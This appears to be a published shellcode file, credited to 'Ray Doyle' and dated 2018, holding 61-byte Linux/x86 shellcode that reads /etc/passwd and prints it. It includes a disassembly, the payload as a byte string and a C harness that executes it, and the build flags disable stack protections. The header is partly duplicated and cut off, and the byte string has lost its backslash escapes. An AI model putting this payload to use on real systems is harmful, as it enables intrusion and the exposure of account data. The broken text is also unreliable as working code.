/*
# Shellcode Title: Linux/x86 - Read File (/etc/passwd) MSF Optimized Shellcode (61 bytes)
# Date: 2018-09-13
# Author: Ray Doyle (@doylersec)
# Homepage: https://www.d /*
# Shellcode Title: Linux/x86 - Read File (/etc/passwd) MSF Optimized Shellcode (61 bytes)
# Date: 2018-09-13
# Author: Ray Doyle (@doylersec)
# Homepage: https://www.doyler.net
# Tested on: Linux/x86
# gcc -o readfile_shellcode -z execstack -fno-stack-protector readfile_shellcode.c
*/

/****************************************************
Disassembly of section .text:

08048060 <_start>:
8048060: eb 2b jmp 804808d <call_shellcode>

08048062 <shellcode>:
8048062: 31 c0 xor eax,eax
8048064: b0 05 mov al,0x5
8048066: 5b pop ebx
8048067: 31 c9 xor ecx,ecx
8048069: cd 80 int 0x80
804806b: 89 c3 mov ebx,eax
804806d: b0 03 mov al,0x3
804806f: 89 e7 mov edi,esp
8048071: 89 f9 mov ecx,edi
8048073: 31 d2 xor edx,edx
8048075: b6 10 mov dh,0x10
8048077: cd 80 int 0x80
8048079: 89 c2 mov edx,eax
804807b: 31 c0 xor eax,eax
804807d: b0 04 mov al,0x4
804807f: 31 db xor ebx,ebx
8048081: b3 01 mov bl,0x1
8048083: cd 80 int 0x80
8048085: 31 c0 xor eax,eax
8048087: b0 01 mov al,0x1
8048089: 31 db xor ebx,ebx
804808b: cd 80 int 0x80

0804808d <call_shellcode>:
804808d: e8 d0 ff ff ff call 8048062 <shellcode>

08048092 <message>:
8048092: 2f das
8048093: 65 gs
8048094: 74 63 je 80480f9 <message+0x67>
8048096: 2f das
8048097: 70 61 jo 80480fa <message+0x68>
8048099: 73 73 jae 804810e <message+0x7c>
804809b: 77 64 ja 8048101 <message+0x6f>
****************************************************/

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"xebx2bx31xc0xb0x05x5bx31xc9xcdx80x89xc3xb0x03x89xe7x89xf9x31xd2xb6x10xcdx80x89xc2x31xc0xb0x04x31xdbxb3x01xcdx80x31xc0xb0x01x31xdbxcdx80xe8xd0xffxffxffx2fx65x74x63x2fx70x61x73x73x77x64";

main()
{
printf("Shellcode Length: %d ", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}